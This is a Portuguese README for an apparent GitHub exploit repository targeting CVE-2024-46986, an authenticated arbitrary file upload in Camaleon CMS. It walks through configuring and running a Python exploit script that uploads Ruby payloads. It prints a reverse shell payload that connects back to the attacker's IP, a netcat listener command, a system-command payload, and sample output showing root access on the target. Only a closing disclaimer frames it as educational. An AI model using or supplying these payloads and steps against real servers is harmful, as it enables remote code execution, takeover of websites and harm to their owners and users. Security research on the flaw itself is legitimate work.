CVE-2024-46986

Exploração do Camaleon CMS - Upload Arbitrário de Arquivos

Este repositório contém um script Python que automatiza a exploração de uma vulnerabilidade de upload de arquivos no Camaleon CMS. A vulnerabilidade permite que um atacante envie arquivos arbitrários (como scripts Ruby) para o servidor, potencialmente levando à execução remota de código (RCE) ou a outros impactos de segurança graves.

Recursos

• Exploração de Upload de Arquivos: Envia scripts Ruby maliciosos para o servidor de destino.
• Opções de Payload: Escolha entre um payload de reverse shell e um payload de execução de comandos.
• Execução Repetida de Comandos: Para o payload de execução de comandos, o script permite que o usuário insira comandos repetidamente.
• Automação: Automatiza todo o processo usando a biblioteca requests do Python.

Pré-requisitos

• Credenciais de Usuário Válidas: É necessária uma sessão autenticada para que a exploração funcione. Você precisa do auth_token e do _cms_session de um usuário válido.

• Python 3.x: Certifique-se de ter o Python 3.x instalado.

• Biblioteca requests do Python: Instale a biblioteca requests caso ainda não esteja instalada.

  pip install requests
  

Uso

Clone o repositório:

bash

https://github.com/vidura2/CVE-2024-46986.git cd CVE-2024-46986

Modifique o script:

Substitua os placeholders your_auth_token_here, your_session_token_here e https://target_site_here no script Python pelos valores reais.
Se estiver usando o payload de reverse shell, substitua também your_ip e your_port pelo seu endereço IP e pela porta na qual você configurará um listener.

Escolha o tipo de payload:

Reverse Shell: Para enviar um reverse shell, defina a variável payload_type no script como "reverse_shell".
Execução de Comandos: Para enviar um script que executa comandos do sistema, defina payload_type como "command_execution". Você poderá inserir comandos repetidamente para executar no servidor de destino.

Execute a exploração:

bash

python exploit_camaleon.py

Se estiver usando o payload de execução de comandos, você pode inserir vários comandos:

bash

Enter a system command to execute (or type 'exit' to quit): whoami
Enter a system command to execute (or type 'exit' to quit): ls
Enter a system command to execute (or type 'exit' to quit): exit

Tipos de Payload

1. Reverse Shell

O payload de reverse shell conecta de volta à máquina do atacante, permitindo a execução remota de código no servidor.

Modifique o IP e a porta no script Ruby dentro do código Python.

Exemplo de payload:

ruby

require 'socket' s = TCPSocket.open('your_ip', your_port) while (cmd = s.gets) IO.popen(cmd, 'r') do |io| s.print io.read end end

Configure um listener na sua máquina usando netcat:

bash

nc -lvnp <your_port>

2. Execução de Comandos

Este payload envia um script Ruby que executa comandos do sistema (por exemplo, whoami) no servidor. Você pode inserir comandos repetidamente durante a execução.

O script continuará pedindo comandos até que você digite exit.
Exemplo:

ruby

system("whoami")

Exemplo de Exploração Bem-sucedida

Quando a exploração for executada com sucesso, você deverá ver uma saída no terminal indicando o sucesso:

python

Exploit executed successfully with payload type: reverse_shell!

Se você usar o reverse shell, o listener do netcat deve lhe dar acesso ao shell do servidor comprometido.

Para o payload de execução de comandos:

bash

Enter a system command to execute (or type 'exit' to quit): whoami Command 'whoami' executed successfully! Response: root

Aviso Legal

Este script destina-se apenas a fins educacionais. O autor não é responsável por qualquer uso indevido ou dano causado por esta exploração. Sempre certifique-se de ter permissão antes de testar ou explorar vulnerabilidades. Contribuindo

Sinta-se à vontade para enviar issues ou pull requests para melhorias ou recursos adicionais!

Licença

Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.